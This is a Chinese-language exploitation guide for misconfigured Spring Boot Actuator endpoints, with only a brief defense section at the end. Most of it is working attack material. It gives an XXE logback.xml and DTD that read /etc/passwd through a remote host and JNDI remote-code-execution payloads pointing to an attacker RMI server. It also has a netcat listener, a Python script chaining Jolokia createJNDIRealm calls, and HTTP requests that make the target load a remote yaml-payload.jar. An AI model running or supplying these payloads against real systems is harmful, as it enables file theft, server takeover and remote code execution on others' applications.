Spring Boot Actuator 漏洞利用
字数 1692 2025-08-15 21:30:37
Spring Boot Actuator 漏洞利用全面指南
1. 漏洞概述
Spring Boot Actuator 是 Spring Boot 提供的服务监控和管理中间件。当应用程序运行时,它会自动将多个端点注册到路由进程中。由于对这些端点的错误配置,可能导致系统信息泄露、XXE 甚至 RCE 等安全问题。
2. 漏洞发现
2.1 识别 Spring Boot 应用
- 网站图标:通常是一个绿色的树叶
- 特有报错信息:Spring Boot 特有的错误页面
2.2 版本影响
- Spring Boot < 1.5:默认未授权访问所有端点
- Spring Boot >= 1.5:默认只允许访问
/health和/info端点,但此安全性常被开发人员禁用
3. Actuator 端点详解
3.1 端点路径差异
- Spring Boot 1.x:端点在根 URL 下注册
- Spring Boot 2.x:端点移动到
/actuator/路径
3.2 主要端点功能
| 路径 | 描述 |
|---|---|
| /autoconfig | 提供自动配置报告 |
| /beans | 描述应用程序上下文里全部的 Bean 及其关系 |
| /env | 获取全部环境属性 |
| /configprops | 描述配置属性如何注入 Bean |
| /dump | 获取线程活动的快照 |
| /health | 报告应用程序的健康指标 |
| /info | 获取应用程序的定制信息 |
| /mappings | 描述全部的 URI 路径及其控制器映射 |
| /metrics | 报告各种应用程序度量信息 |
| /shutdown | 关闭应用程序 |
| /trace | 提供基本的 HTTP 请求跟踪信息 |
4. 信息泄露漏洞
4.1 敏感信息泄露
- /trace 端点:获取近期服务器收到的请求信息,可能包含用户 cookie
- /env 端点:获取环境属性,可能泄露数据库凭证等敏感信息
5. Jolokia 端点利用
5.1 XXE 漏洞利用
利用条件:存在 logback 库提供的 reloadByURL 方法
利用步骤:
-
创建恶意文件:
logback.xml:<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd"> %remote;%int;]> <a>&trick;</a>fileread.dtd:<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
-
将文件上传到公网服务器
-
触发漏洞:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
5.2 RCE 漏洞利用
利用条件:存在 reloadByURL 方法
利用步骤:
-
准备恶意文件:
logback.xml:<configuration> <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" /> </configuration>
-
编译并运行 RMI 服务器:
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar -
设置监听:
nc -lvp 9998 -
触发漏洞:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml
5.3 createJNDIRealm 方法利用
利用条件:存在 org.apache.catalina.mbeans.MBeanFactory 类的 createJNDIRealm 方法
利用步骤:
-
使用 Python 脚本发送请求:
import requests as req import sys from pprint import pprint url = sys.argv[1] + "/jolokia/" # 创建JNDIRealm create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] } # 写入contextFactory set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" } # 写入connectionURL set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://x.x.x.x:1097/jndi" } # 停止Realm stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] } # 启动Realm start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) pprint(rep.json()) -
运行 RMI 服务器和监听(同 5.2)
-
执行脚本:
python exp.py http://x.x.x.x:8087
6. Spring Cloud env 利用
利用条件:
- Spring Boot <= 1.5.x (Dalston 版本)
- 或 Spring Boot <= 1.4
利用步骤:
-
准备恶意 YAML 文件:
- 下载并修改 yaml-payload
- 编译:
javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
-
修改
spring.cloud.bootstrap.location:POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 59 spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml -
触发 refresh:
POST /refresh HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 0
7. 防御措施
-
禁用不必要的端点:在
application.properties中配置management.endpoints.web.exposure.include=health,info -
启用安全保护:
- 添加 Spring Security 依赖
- 配置基本认证
-
升级版本:使用最新稳定版 Spring Boot
-
网络隔离:限制 Actuator 端点的访问来源
-
自定义端点路径:修改默认端点路径